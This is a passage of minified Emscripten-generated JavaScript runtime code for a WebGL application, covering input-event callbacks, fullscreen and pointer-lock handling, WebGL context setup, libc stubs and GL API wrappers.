orig=emscripten_source_map.originalPositionFor({line:lineno,column:column});haveSourceMap=orig&&orig.source;if(haveSourceMap){if(flags&64){orig.source=orig.source.substring(orig.source.replace(/\\\\/g,\"/\").lastIndexOf(\"/\")+1)}callstack+=\"    at \"+cSymbolName+\" (\"+orig.source+\":\"+orig.line+\":\"+orig.column+\")\\n\"}}if(flags&16||!haveSourceMap){if(flags&64){file=file.substring(file.replace(/\\\\/g,\"/\").lastIndexOf(\"/\")+1)}callstack+=(haveSourceMap?\"     = \"+jsSymbolName:\"    at \"+cSymbolName)+\" (\"+file+\":\"+lineno+\":\"+column+\")\\n\"}if(flags&128&&stack_args[0]){if(stack_args[1]==jsSymbolName&&stack_args[2].length>0){callstack=callstack.replace(/\\s+$/,\"\");callstack+=\" with values: \"+stack_args[1]+stack_args[2]+\"\\n\"}stack_args=__emscripten_traverse_stack(stack_args[0])}}callstack=callstack.replace(/\\s+$/,\"\");return callstack}function _emscripten_log_js(flags,str){if(flags&24){str=str.replace(/\\s+$/,\"\");str+=(str.length>0?\"\\n\":\"\")+_emscripten_get_callstack_js(flags)}if(flags&1){if(flags&4){console.error(str)}else if(flags&2){console.warn(str)}else{console.log(str)}}else if(flags&6){err(str)}else{out(str)}}function _emscripten_log(flags,varargs){var format=HEAP32[varargs>>2];varargs+=4;var str=\"\";if(format){var result=__formatString(format,varargs);for(var i=0;i<result.length;++i){str+=String.fromCharCode(result[i])}}_emscripten_log_js(flags,str)}function _emscripten_num_logical_cores(){return 1}function __setLetterbox(element,topBottom,leftRight){if(JSEvents.isInternetExplorer()){element.style.marginLeft=element.style.marginRight=leftRight+\"px\";element.style.marginTop=element.style.marginBottom=topBottom+\"px\"}else{element.style.paddingLeft=element.style.paddingRight=leftRight+\"px\";element.style.paddingTop=element.style.paddingBottom=topBottom+\"px\"}}function __emscripten_do_request_fullscreen(target,strategy){if(typeof JSEvents.fullscreenEnabled()===\"undefined\")return-1;if(!JSEvents.fullscreenEnabled())return-3;if(!target)target=\"#canvas\";target=JSEvents.findEventTarget(target);if(!target)return-4;if(!target.requestFullscreen&&!target.msRequestFullscreen&&!target.mozRequestFullScreen&&!target.mozRequestFullscreen&&!target.webkitRequestFullscreen){return-3}var canPerformRequests=JSEvents.canPerformEventHandlerRequests();if(!canPerformRequests){if(strategy.deferUntilInEventHandler){JSEvents.deferCall(JSEvents.requestFullscreen,1,[target,strategy]);return 1}else{return-2}}return JSEvents.requestFullscreen(target,strategy)}function _emscripten_request_fullscreen(target,deferUntilInEventHandler){var strategy={};strategy.scaleMode=0;strategy.canvasResolutionScaleMode=0;strategy.filteringMode=0;strategy.deferUntilInEventHandler=deferUntilInEventHandler;strategy.canvasResizedCallbackTargetThread=2;return __emscripten_do_request_fullscreen(target,strategy)}function _emscripten_request_pointerlock(target,deferUntilInEventHandler){if(!target)target=\"#canvas\";target=JSEvents.findEventTarget(target);if(!target)return-4;if(!target.requestPointerLock&&!target.mozRequestPointerLock&&!target.webkitRequestPointerLock&&!target.msRequestPointerLock){return-1}var canPerformRequests=JSEvents.canPerformEventHandlerRequests();if(!canPerformRequests){if(deferUntilInEventHandler){JSEvents.deferCall(JSEvents.requestPointerLock,2,[target]);return 1}else{return-2}}return JSEvents.requestPointerLock(target)}function _emscripten_set_blur_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerFocusEventCallback(target,userData,useCapture,callbackfunc,12,\"blur\",targetThread);return 0}function _emscripten_set_dblclick_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerMouseEventCallback(target,userData,useCapture,callbackfunc,7,\"dblclick\",targetThread);return 0}function _emscripten_set_devicemotion_callback_on_thread(userData,useCapture,callbackfunc,targetThread){JSEvents.registerDeviceMotionEventCallback(window,userData,useCapture,callbackfunc,17,\"devicemotion\",targetThread);return 0}function _emscripten_set_deviceorientation_callback_on_thread(userData,useCapture,callbackfunc,targetThread){JSEvents.registerDeviceOrientationEventCallback(window,userData,useCapture,callbackfunc,16,\"deviceorientation\",targetThread);return 0}function _emscripten_set_focus_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerFocusEventCallback(target,userData,useCapture,callbackfunc,13,\"focus\",targetThread);return 0}function _emscripten_set_fullscreenchange_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){if(typeof JSEvents.fullscreenEnabled()===\"undefined\")return-1;if(!target)target=document;else{target=JSEvents.findEventTarget(target);if(!target)return-4}JSEvents.registerFullscreenChangeEventCallback(target,userData,useCapture,callbackfunc,19,\"fullscreenchange\",targetThread);JSEvents.registerFullscreenChangeEventCallback(target,userData,useCapture,callbackfunc,19,\"mozfullscreenchange\",targetThread);JSEvents.registerFullscreenChangeEventCallback(target,userData,useCapture,callbackfunc,19,\"webkitfullscreenchange\",targetThread);JSEvents.registerFullscreenChangeEventCallback(target,userData,useCapture,callbackfunc,19,\"msfullscreenchange\",targetThread);return 0}function _emscripten_set_gamepadconnected_callback_on_thread(userData,useCapture,callbackfunc,targetThread){if(!navigator.getGamepads&&!navigator.webkitGetGamepads)return-1;JSEvents.registerGamepadEventCallback(window,userData,useCapture,callbackfunc,26,\"gamepadconnected\",targetThread);return 0}function _emscripten_set_gamepaddisconnected_callback_on_thread(userData,useCapture,callbackfunc,targetThread){if(!navigator.getGamepads&&!navigator.webkitGetGamepads)return-1;JSEvents.registerGamepadEventCallback(window,userData,useCapture,callbackfunc,27,\"gamepaddisconnected\",targetThread);return 0}function _emscripten_set_keydown_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerKeyEventCallback(target,userData,useCapture,callbackfunc,2,\"keydown\",targetThread);return 0}function _emscripten_set_keypress_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerKeyEventCallback(target,userData,useCapture,callbackfunc,1,\"keypress\",targetThread);return 0}function _emscripten_set_keyup_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerKeyEventCallback(target,userData,useCapture,callbackfunc,3,\"keyup\",targetThread);return 0}function _emscripten_set_mousedown_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerMouseEventCallback(target,userData,useCapture,callbackfunc,5,\"mousedown\",targetThread);return 0}function _emscripten_set_mousemove_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerMouseEventCallback(target,userData,useCapture,callbackfunc,8,\"mousemove\",targetThread);return 0}function _emscripten_set_mouseup_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerMouseEventCallback(target,userData,useCapture,callbackfunc,6,\"mouseup\",targetThread);return 0}function _emscripten_set_touchcancel_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerTouchEventCallback(target,userData,useCapture,callbackfunc,25,\"touchcancel\",targetThread);return 0}function _emscripten_set_touchend_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerTouchEventCallback(target,userData,useCapture,callbackfunc,23,\"touchend\",targetThread);return 0}function _emscripten_set_touchmove_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerTouchEventCallback(target,userData,useCapture,callbackfunc,24,\"touchmove\",targetThread);return 0}function _emscripten_set_touchstart_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){JSEvents.registerTouchEventCallback(target,userData,useCapture,callbackfunc,22,\"touchstart\",targetThread);return 0}function _emscripten_set_wheel_callback_on_thread(target,userData,useCapture,callbackfunc,targetThread){target=JSEvents.findEventTarget(target);if(typeof target.onwheel!==\"undefined\"){JSEvents.registerWheelEventCallback(target,userData,useCapture,callbackfunc,9,\"wheel\",targetThread);return 0}else if(typeof target.onmousewheel!==\"undefined\"){JSEvents.registerWheelEventCallback(target,userData,useCapture,callbackfunc,9,\"mousewheel\",targetThread);return 0}else{return-1}}var GL={counter:1,lastError:0,buffers:[],mappedBuffers:{},programs:[],framebuffers:[],renderbuffers:[],textures:[],uniforms:[],shaders:[],vaos:[],contexts:[],currentContext:null,offscreenCanvases:{},timerQueriesEXT:[],queries:[],samplers:[],transformFeedbacks:[],syncs:[],byteSizeByTypeRoot:5120,byteSizeByType:[1,1,2,2,4,4,4,2,3,4,8],programInfos:{},stringCache:{},stringiCache:{},tempFixedLengthArray:[],packAlignment:4,unpackAlignment:4,init:(function(){GL.miniTempBuffer=new Float32Array(GL.MINI_TEMP_BUFFER_SIZE);for(var i=0;i<GL.MINI_TEMP_BUFFER_SIZE;i++){GL.miniTempBufferViews[i]=GL.miniTempBuffer.subarray(0,i+1)}for(var i=0;i<32;i++){GL.tempFixedLengthArray.push(new Array(i))}}),recordError:function recordError(errorCode){if(!GL.lastError){GL.lastError=errorCode}},getNewId:(function(table){var ret=GL.counter++;for(var i=table.length;i<ret;i++){table[i]=null}return ret}),MINI_TEMP_BUFFER_SIZE:256,miniTempBuffer:null,miniTempBufferViews:[0],getSource:(function(shader,count,string,length){var source=\"\";for(var i=0;i<count;++i){var frag;if(length){var len=HEAP32[length+i*4>>2];if(len<0){frag=Pointer_stringify(HEAP32[string+i*4>>2])}else{frag=Pointer_stringify(HEAP32[string+i*4>>2],len)}}else{frag=Pointer_stringify(HEAP32[string+i*4>>2])}source+=frag}return source}),createContext:(function(canvas,webGLContextAttributes){if(typeof webGLContextAttributes[\"majorVersion\"]===\"undefined\"&&typeof webGLContextAttributes[\"minorVersion\"]===\"undefined\"){if(typeof WebGL2RenderingContext!==\"undefined\")webGLContextAttributes[\"majorVersion\"]=2;else webGLContextAttributes[\"majorVersion\"]=1;webGLContextAttributes[\"minorVersion\"]=0}var ctx;var errorInfo=\"?\";function onContextCreationError(event){errorInfo=event.statusMessage||errorInfo}webGLContextAttributes[\"powerPreference\"]=\"high-performance\";try{canvas.addEventListener(\"webglcontextcreationerror\",onContextCreationError,false);try{if(webGLContextAttributes[\"majorVersion\"]==1&&webGLContextAttributes[\"minorVersion\"]==0){ctx=canvas.getContext(\"webgl\",webGLContextAttributes)||canvas.getContext(\"experimental-webgl\",webGLContextAttributes)}else if(webGLContextAttributes[\"majorVersion\"]==2&&webGLContextAttributes[\"minorVersion\"]==0){ctx=canvas.getContext(\"webgl2\",webGLContextAttributes)}else{throw\"Unsupported WebGL context version \"+majorVersion+\".\"+minorVersion+\"!\"}}finally{canvas.removeEventListener(\"webglcontextcreationerror\",onContextCreationError,false)}if(!ctx)throw\":(\"}catch(e){out(\"Could not create canvas: \"+[errorInfo,e,JSON.stringify(webGLContextAttributes)]);return 0}if(!ctx)return 0;var context=GL.registerContext(ctx,webGLContextAttributes);return context}),registerContext:(function(ctx,webGLContextAttributes){var handle=_malloc(8);HEAP32[handle>>2]=webGLContextAttributes[\"explicitSwapControl\"];var context={handle:handle,attributes:webGLContextAttributes,version:webGLContextAttributes[\"majorVersion\"],GLctx:ctx};function getChromeVersion(){var raw=navigator.userAgent.match(/Chrom(e|ium)\\/([0-9]+)\\./);return raw?parseInt(raw[2],10):false}context.supportsWebGL2EntryPoints=context.version>=2&&(getChromeVersion()===false||getChromeVersion()>=58);if(ctx.canvas)ctx.canvas.GLctxObject=context;GL.contexts[handle]=context;if(typeof webGLContextAttributes[\"enableExtensionsByDefault\"]===\"undefined\"||webGLContextAttributes[\"enableExtensionsByDefault\"]){GL.initExtensions(context)}if(webGLContextAttributes[\"renderViaOffscreenBackBuffer\"]){return 0}return handle}),makeContextCurrent:(function(contextHandle){if(!contextHandle){GLctx=Module.ctx=GL.currentContext=null;return true}var context=GL.contexts[contextHandle];if(!context){return false}GLctx=Module.ctx=context.GLctx;GL.currentContext=context;return true}),getContext:(function(contextHandle){return GL.contexts[contextHandle]}),deleteContext:(function(contextHandle){if(!contextHandle)return;if(GL.currentContext===GL.contexts[contextHandle])GL.currentContext=null;if(typeof JSEvents===\"object\")JSEvents.removeAllHandlersOnTarget(GL.contexts[contextHandle].GLctx.canvas);if(GL.contexts[contextHandle]&&GL.contexts[contextHandle].GLctx.canvas)GL.contexts[contextHandle].GLctx.canvas.GLctxObject=undefined;_free(GL.contexts[contextHandle]);GL.contexts[contextHandle]=null}),initExtensions:(function(context){if(!context)context=GL.currentContext;if(context.initExtensionsDone)return;context.initExtensionsDone=true;var GLctx=context.GLctx;context.maxVertexAttribs=GLctx.getParameter(GLctx.MAX_VERTEX_ATTRIBS);if(context.version<2){var instancedArraysExt=GLctx.getExtension(\"ANGLE_instanced_arrays\");if(instancedArraysExt){GLctx[\"vertexAttribDivisor\"]=(function(index,divisor){instancedArraysExt[\"vertexAttribDivisorANGLE\"](index,divisor)});GLctx[\"drawArraysInstanced\"]=(function(mode,first,count,primcount){instancedArraysExt[\"drawArraysInstancedANGLE\"](mode,first,count,primcount)});GLctx[\"drawElementsInstanced\"]=(function(mode,count,type,indices,primcount){instancedArraysExt[\"drawElementsInstancedANGLE\"](mode,count,type,indices,primcount)})}var vaoExt=GLctx.getExtension(\"OES_vertex_array_object\");if(vaoExt){GLctx[\"createVertexArray\"]=(function(){return vaoExt[\"createVertexArrayOES\"]()});GLctx[\"deleteVertexArray\"]=(function(vao){vaoExt[\"deleteVertexArrayOES\"](vao)});GLctx[\"bindVertexArray\"]=(function(vao){vaoExt[\"bindVertexArrayOES\"](vao)});GLctx[\"isVertexArray\"]=(function(vao){return vaoExt[\"isVertexArrayOES\"](vao)})}var drawBuffersExt=GLctx.getExtension(\"WEBGL_draw_buffers\");if(drawBuffersExt){GLctx[\"drawBuffers\"]=(function(n,bufs){drawBuffersExt[\"drawBuffersWEBGL\"](n,bufs)})}}GLctx.disjointTimerQueryExt=GLctx.getExtension(\"EXT_disjoint_timer_query\");var automaticallyEnabledExtensions=[\"OES_texture_float\",\"OES_texture_half_float\",\"OES_standard_derivatives\",\"OES_vertex_array_object\",\"WEBGL_compressed_texture_s3tc\",\"WEBGL_depth_texture\",\"OES_element_index_uint\",\"EXT_texture_filter_anisotropic\",\"EXT_frag_depth\",\"WEBGL_draw_buffers\",\"ANGLE_instanced_arrays\",\"OES_texture_float_linear\",\"OES_texture_half_float_linear\",\"EXT_blend_minmax\",\"EXT_shader_texture_lod\",\"EXT_texture_norm16\",\"WEBGL_compressed_texture_pvrtc\",\"EXT_color_buffer_half_float\",\"WEBGL_color_buffer_float\",\"EXT_sRGB\",\"WEBGL_compressed_texture_etc1\",\"EXT_disjoint_timer_query\",\"WEBGL_compressed_texture_etc\",\"WEBGL_compressed_texture_astc\",\"EXT_color_buffer_float\",\"WEBGL_compressed_texture_s3tc_srgb\",\"EXT_disjoint_timer_query_webgl2\",\"WEBKIT_WEBGL_compressed_texture_pvrtc\"];var exts=GLctx.getSupportedExtensions();if(exts&&exts.length>0){GLctx.getSupportedExtensions().forEach((function(ext){if(automaticallyEnabledExtensions.indexOf(ext)!=-1){GLctx.getExtension(ext)}}))}}),populateUniformTable:(function(program){var p=GL.programs[program];GL.programInfos[program]={uniforms:{},maxUniformLength:0,maxAttributeLength:-1,maxUniformBlockNameLength:-1};var ptable=GL.programInfos[program];var utable=ptable.uniforms;var numUniforms=GLctx.getProgramParameter(p,GLctx.ACTIVE_UNIFORMS);for(var i=0;i<numUniforms;++i){var u=GLctx.getActiveUniform(p,i);var name=u.name;ptable.maxUniformLength=Math.max(ptable.maxUniformLength,name.length+1);if(name.indexOf(\"]\",name.length-1)!==-1){var ls=name.lastIndexOf(\"[\");name=name.slice(0,ls)}var loc=GLctx.getUniformLocation(p,name);if(loc!=null){var id=GL.getNewId(GL.uniforms);utable[name]=[u.size,id];GL.uniforms[id]=loc;for(var j=1;j<u.size;++j){var n=name+\"[\"+j+\"]\";loc=GLctx.getUniformLocation(p,n);id=GL.getNewId(GL.uniforms);GL.uniforms[id]=loc}}}})};function _emscripten_webgl_do_create_context(target,attributes){var contextAttributes={};contextAttributes[\"alpha\"]=!!HEAP32[attributes>>2];contextAttributes[\"depth\"]=!!HEAP32[attributes+4>>2];contextAttributes[\"stencil\"]=!!HEAP32[attributes+8>>2];contextAttributes[\"antialias\"]=!!HEAP32[attributes+12>>2];contextAttributes[\"premultipliedAlpha\"]=!!HEAP32[attributes+16>>2];contextAttributes[\"preserveDrawingBuffer\"]=!!HEAP32[attributes+20>>2];contextAttributes[\"preferLowPowerToHighPerformance\"]=!!HEAP32[attributes+24>>2];contextAttributes[\"failIfMajorPerformanceCaveat\"]=!!HEAP32[attributes+28>>2];contextAttributes[\"majorVersion\"]=HEAP32[attributes+32>>2];contextAttributes[\"minorVersion\"]=HEAP32[attributes+36>>2];contextAttributes[\"explicitSwapControl\"]=HEAP32[attributes+44>>2];contextAttributes[\"proxyContextToMainThread\"]=HEAP32[attributes+48>>2];contextAttributes[\"renderViaOffscreenBackBuffer\"]=HEAP32[attributes+52>>2];target=Pointer_stringify(target);var canvas;if((!target||target===\"#canvas\")&&Module[\"canvas\"]){canvas=Module[\"canvas\"].id&&GL.offscreenCanvases[Module[\"canvas\"].id]?GL.offscreenCanvases[Module[\"canvas\"].id].offscreenCanvas||JSEvents.findEventTarget(Module[\"canvas\"].id):Module[\"canvas\"]}else{canvas=GL.offscreenCanvases[target]?GL.offscreenCanvases[target].offscreenCanvas:JSEvents.findEventTarget(target)}if(!canvas){return 0}if(contextAttributes[\"explicitSwapControl\"]){return 0}var contextHandle=GL.createContext(canvas,contextAttributes);return contextHandle}function _emscripten_webgl_create_context(){return _emscripten_webgl_do_create_context.apply(null,arguments)}function _emscripten_webgl_destroy_context_calling_thread(contextHandle){GL.deleteContext(contextHandle)}function _emscripten_webgl_destroy_context(){return _emscripten_webgl_destroy_context_calling_thread.apply(null,arguments)}function _emscripten_webgl_enable_extension_calling_thread(contextHandle,extension){var context=GL.getContext(contextHandle);var extString=Pointer_stringify(extension);if(extString.indexOf(\"GL_\")==0)extString=extString.substr(3);var ext=context.GLctx.getExtension(extString);return ext?1:0}function _emscripten_webgl_enable_extension(){return _emscripten_webgl_enable_extension_calling_thread.apply(null,arguments)}function _emscripten_webgl_do_get_current_context(){return GL.currentContext?GL.currentContext.handle:0}function _emscripten_webgl_get_current_context(){return _emscripten_webgl_do_get_current_context.apply(null,arguments)}function _emscripten_webgl_init_context_attributes(attributes){HEAP32[attributes>>2]=1;HEAP32[attributes+4>>2]=1;HEAP32[attributes+8>>2]=0;HEAP32[attributes+12>>2]=1;HEAP32[attributes+16>>2]=1;HEAP32[attributes+20>>2]=0;HEAP32[attributes+24>>2]=0;HEAP32[attributes+28>>2]=0;HEAP32[attributes+32>>2]=1;HEAP32[attributes+36>>2]=0;HEAP32[attributes+40>>2]=1;HEAP32[attributes+44>>2]=0;HEAP32[attributes+48>>2]=0;HEAP32[attributes+52>>2]=0}function _emscripten_webgl_make_context_current(contextHandle){var success=GL.makeContextCurrent(contextHandle);return success?0:-5}function __exit(status){exit(status)}function _exit(status){__exit(status)}function _flock(fd,operation){return 0}function _getenv(name){if(name===0)return 0;name=Pointer_stringify(name);if(!ENV.hasOwnProperty(name))return 0;if(_getenv.ret)_free(_getenv.ret);_getenv.ret=allocateUTF8(ENV[name]);return _getenv.ret}function _gethostbyname(name){name=Pointer_stringify(name);var ret=_malloc(20);var nameBuf=_malloc(name.length+1);stringToUTF8(name,nameBuf,name.length+1);HEAP32[ret>>2]=nameBuf;var aliasesBuf=_malloc(4);HEAP32[aliasesBuf>>2]=0;HEAP32[ret+4>>2]=aliasesBuf;var afinet=2;HEAP32[ret+8>>2]=afinet;HEAP32[ret+12>>2]=4;var addrListBuf=_malloc(12);HEAP32[addrListBuf>>2]=addrListBuf+8;HEAP32[addrListBuf+4>>2]=0;HEAP32[addrListBuf+8>>2]=__inet_pton4_raw(DNS.lookup_name(name));HEAP32[ret+16>>2]=addrListBuf;return ret}function _gethostbyaddr(addr,addrlen,type){if(type!==2){___setErrNo(ERRNO_CODES.EAFNOSUPPORT);return null}addr=HEAP32[addr>>2];var host=__inet_ntop4_raw(addr);var lookup=DNS.lookup_addr(host);if(lookup){host=lookup}var hostp=allocate(intArrayFromString(host),\"i8\",ALLOC_STACK);return _gethostbyname(hostp)}function _getpagesize(){return PAGE_SIZE}function _getpwuid(uid){return 0}function _gettimeofday(ptr){var now=Date.now();HEAP32[ptr>>2]=now/1e3|0;HEAP32[ptr+4>>2]=now%1e3*1e3|0;return 0}function _glActiveTexture(x0){GLctx[\"activeTexture\"](x0)}function _glAttachShader(program,shader){GLctx.attachShader(GL.programs[program],GL.shaders[shader])}function _glBeginQuery(target,id){GLctx[\"beginQuery\"](target,id?GL.queries[id]:null)}function _glBeginTransformFeedback(x0){GLctx[\"beginTransformFeedback\"](x0)}function _glBindAttribLocation(program,index,name){name=Pointer_stringify(name);GLctx.bindAttribLocation(GL.programs[program],index,name)}function _glBindBuffer(target,buffer){var bufferObj=buffer?GL.buffers[buffer]:null;if(target==35051){GLctx.currentPixelPackBufferBinding=buffer}else if(target==35052){GLctx.currentPixelUnpackBufferBinding=buffer}GLctx.bindBuffer(target,bufferObj)}function _glBindBufferBase(target,index,buffer){var bufferObj=buffer?GL.buffers[buffer]:null;GLctx[\"bindBufferBase\"](target,index,bufferObj)}function _glBindBufferRange(target,index,buffer,offset,ptrsize){var bufferObj=buffer?GL.buffers[buffer]:null;GLctx[\"bindBufferRange\"](target,index,bufferObj,offset,ptrsize)}function _glBindFramebuffer(target,framebuffer){GLctx.bindFramebuffer(target,framebuffer?GL.framebuffers[framebuffer]:null)}function _glBindRenderbuffer(target,renderbuffer){GLctx.bindRenderbuffer(target,renderbuffer?GL.renderbuffers[renderbuffer]:null)}function _glBindSampler(unit,sampler){GLctx[\"bindSampler\"](unit,sampler?GL.samplers[sampler]:null)}function _glBindTexture(target,texture){GLctx.bindTexture(target,texture?GL.textures[texture]:null)}function _glBindTransformFeedback(target,id){var transformFeedback=id?GL.transformFeedbacks[id]:null;if(id&&!transformFeedback){GL.recordError(1282);return}GLctx[\"bindTransformFeedback\"](target,transformFeedback)}function _glBindVertexArray(vao){GLctx[\"bindVertexArray\"](GL.vaos[vao])}function _glBlendEquation(x0){GLctx[\"blendEquation\"](x0)}function _glBlendEquationSeparate(x0,x1){GLctx[\"blendEquationSeparate\"](x0,x1)}function _glBlendFuncSeparate(x0,x1,x2,x3){GLctx[\"blendFuncSeparate\"](x0,x1,x2,x3)}function _glBlitFramebuffer(x0,x1,x2,x3,x4,x5,x6,x7,x8,x9){GLctx[\"blitFramebuffer\"](x0,x1,x2,x3,x4,x5,x6,x7,x8,x9)}function _glBufferData(target,size,data,usage){if(!data){GLctx.bufferData(target,size,usage)}else{if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferData(target,HEAPU8,usage,data,size);return}GLctx.bufferData(target,HEAPU8.subarray(data,data+size),usage)}}function _glBufferSubData(target,offset,size,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx.bufferSubData(target,offset,HEAPU8,data,size);return}GLctx.bufferSubData(target,offset,HEAPU8.subarray(data,data+size))}function _glCheckFramebufferStatus(x0){return GLctx[\"checkFramebufferStatus\"](x0)}function _glClear(x0){GLctx[\"clear\"](x0)}function _glClearBufferfi(x0,x1,x2,x3){GLctx[\"clearBufferfi\"](x0,x1,x2,x3)}function _glClearBufferfv(buffer,drawbuffer,value){GLctx[\"clearBufferfv\"](buffer,drawbuffer,HEAPF32,value>>2)}function _glClearBufferuiv(buffer,drawbuffer,value){GLctx[\"clearBufferuiv\"](buffer,drawbuffer,HEAPU32,value>>2)}function _glClearColor(x0,x1,x2,x3){GLctx[\"clearColor\"](x0,x1,x2,x3)}function _glClearDepthf(x0){GLctx[\"clearDepth\"](x0)}function _glClearStencil(x0){GLctx[\"clearStencil\"](x0)}function _glClientWaitSync(sync,flags,timeoutLo,timeoutHi){timeoutLo=timeoutLo>>>0;timeoutHi=timeoutHi>>>0;var timeout=timeoutLo==4294967295&&timeoutHi==4294967295?-1:makeBigInt(timeoutLo,timeoutHi,true);return GLctx.clientWaitSync(GL.syncs[sync],flags,timeout)}function _glColorMask(red,green,blue,alpha){GLctx.colorMask(!!red,!!green,!!blue,!!alpha)}function _glCompileShader(shader){GLctx.compileShader(GL.shaders[shader])}function _glCompressedTexImage2D(target,level,internalFormat,width,height,border,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx[\"compressedTexImage2D\"](target,level,internalFormat,width,height,border,HEAPU8,data,imageSize);return}GLctx[\"compressedTexImage2D\"](target,level,internalFormat,width,height,border,data?HEAPU8.subarray(data,data+imageSize):null)}function _glCompressedTexImage3D(target,level,internalFormat,width,height,depth,border,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx[\"compressedTexImage3D\"](target,level,internalFormat,width,height,depth,border,HEAPU8,data,imageSize)}else{GLctx[\"compressedTexImage3D\"](target,level,internalFormat,width,height,depth,border,data?HEAPU8.subarray(data,data+imageSize):null)}}function _glCompressedTexSubImage2D(target,level,xoffset,yoffset,width,height,format,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx[\"compressedTexSubImage2D\"](target,level,xoffset,yoffset,width,height,format,HEAPU8,data,imageSize);return}GLctx[\"compressedTexSubImage2D\"](target,level,xoffset,yoffset,width,height,format,data?HEAPU8.subarray(data,data+imageSize):null)}function _glCompressedTexSubImage3D(target,level,xoffset,yoffset,zoffset,width,height,depth,format,imageSize,data){if(GL.currentContext.supportsWebGL2EntryPoints){GLctx[\"compressedTexSubImage3D\"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,HEAPU8,data,imageSize)}else{GLctx[\"compressedTexSubImage3D\"](target,level,xoffset,yoffset,zoffset,width,height,depth,format,data?HEAPU8.subarray(data,data+imageSize):null)}}function _glCopyBufferSubData(x0,x1,x2,x3,x4){GLctx[\"copyBufferSubData\"](x0,x1,x2,x3,x4)}function _glCopyTexImage2D(x0,x1,x2,x3,x4,x5,x6,x7){GLctx[\"copyTexImage2D\"](x0,x1,x2,x3,x4,x5,x6,x7)}function _glCopyTexSubImage2D(x0,x1,x2,x3,x4,x5,x6,x7){GLctx[\"copyTexSubImage2D\"](x0,x1,x2,x3,x4,x5,x6,x7)}function _glCreateProgram(){var id=GL.getNewId(GL.programs);var program=GLctx.createProgram();program.name=id;GL.programs[id]=program;return id}function _glCreateShader(shaderType){var id=GL.getNewId(GL.shaders);GL.shaders[id]=GLctx.createShader(shaderType);return id}function _glCullFace(x0){GLctx[\"cullFace\"](x0)}function _glDeleteBuffers(n,buffers){for(var i=0;i<n;i++){var id=HEAP32[buffers+i*4>>2];var buffer=GL.buffers[id];if(!buffer)continue;GLctx.deleteBuffer(buffer);buffer.name=0;GL.buffers[id]=null;if(id==GL.currArrayBuffer)GL.currArrayBuffer=0;if(id==GL.currElementArrayBuffer)GL.currElementArrayBuffer=0}}function _glDeleteFramebuffers(n,framebuffers){for(var i=0;i<n;++i){var id=HEAP32[framebuffers+i*4>>2];var framebuffer=GL.framebuffers[id];if(!framebuffer)continue;GLctx.deleteFramebuffer(framebuffer);framebuffer.name=0;GL.framebuffers[id]=null}}function _glDeleteProgram(id){if(!id)return;var program=GL.programs[id];if(!program){GL.recordError(1281);return}GLctx.deleteProgram(program);program.name=0;GL.programs[id]=null;GL.programInfos[id]=null}function _glDeleteQueries(n,ids){for(var i=0;i<n;i++){var id=HEAP32[ids+i*4>>2];var query=GL.queries[id];if(!query)continue;GLctx[\"deleteQuery\"](query);GL.queries[id]=null}}function _glDeleteRenderbuffers(n,renderbuffers){for(var i=0;i<n;i++){var id=HEAP32[renderbuffers+i*4>>2];var renderbuffer=GL.renderbuffers[id];if(!renderbuffer)continue;GLctx.deleteRenderbuffer(renderbuffer);renderbuffer.name=0;GL.renderbuffers[id]=null}}function _glDeleteSamplers(n,samplers){for(var i=0;i<n;i++){var id=HEAP32[samplers+i*4>>2];var sampler=GL.samplers[id];if(!sampler)continue;GLctx[\"deleteSampler\"](sampler);sampler.name=0;GL.samplers[id]=null}}function _glDeleteShader(id){if(!id)return;var shader=GL.shaders[id];if(!shader){GL.recordError(1281);return}GLctx.deleteShader(shader);GL.shaders[id]=null}function _glDeleteSync(id){if(!id)return;var sync=GL.syncs[id];if(!sync){GL.recordError(1281);return}GLctx.deleteSync(sync);sync.name=0;GL.syncs[id]=null}function _glDeleteTextures(n,textures){for(var i=0;i<n;i++){var id=HEAP32[textures+i*4>>2];var texture=GL.textures[id];if(!texture)continue;GLctx.deleteTexture(texture);texture.name=0;GL.textures[id]=null}}function _glDeleteTransformFeedbacks(n,ids){for(var i=0;i<n;i++){var id=HEAP32[ids+i*4>>2];var transformFeedback=GL.transformFeedbacks[id];if(!transformFeedback)continue;GLctx[\"deleteTransformFeedback\"](transformFeedback);transformFeedback.name=0;GL.transformFeedbacks[id]=null}}function _glDeleteVertexArrays(n,vaos){for(var i=0;i<n;i++){var id=HEAP32[vaos+i*4>>2];GLctx[\"deleteVertexArray\"](GL.vaos[id]);GL.vaos[id]=null}}function _glDepthFunc(x0){GLctx[\"depthFunc\"](x0)}function _glDepthMask(flag){GLctx.depthMask(!!flag)}function _glDetachShader(program,shader){GLctx.detachShader(GL.programs[program],GL.shaders[shader])}function _glDisable(x0){GLctx[\"disable\"](x0)}function _glDisableVertexAttribArray(index){GLctx.disableVertexAttribArray(index)}function _glDrawArrays(mode,first,count){GLctx.drawArrays(mode,first,count)}function _glDrawArraysInstanced(mode,first,count,primcount){GLctx[\"drawArraysInstanced\"](mode,first,count,primcount)}function _glDrawBuffers(n,bufs){var bufArray=GL.tempFixedLengthArray[n];for(var i=0;i<n;i++){bufArray[i]=HEAP32[bufs+i*4>>2]}GLctx[\"drawBuffers\"](bufArray)}function _glDrawElements(mode,count,type,indices){GLctx.drawElements(mode,count,type,indices)}function _glDrawElementsInstanced(mode,count,type,indices,primcount){GLctx[\"drawElementsInstanced\"](mode,count,type,indices,primcount)}function 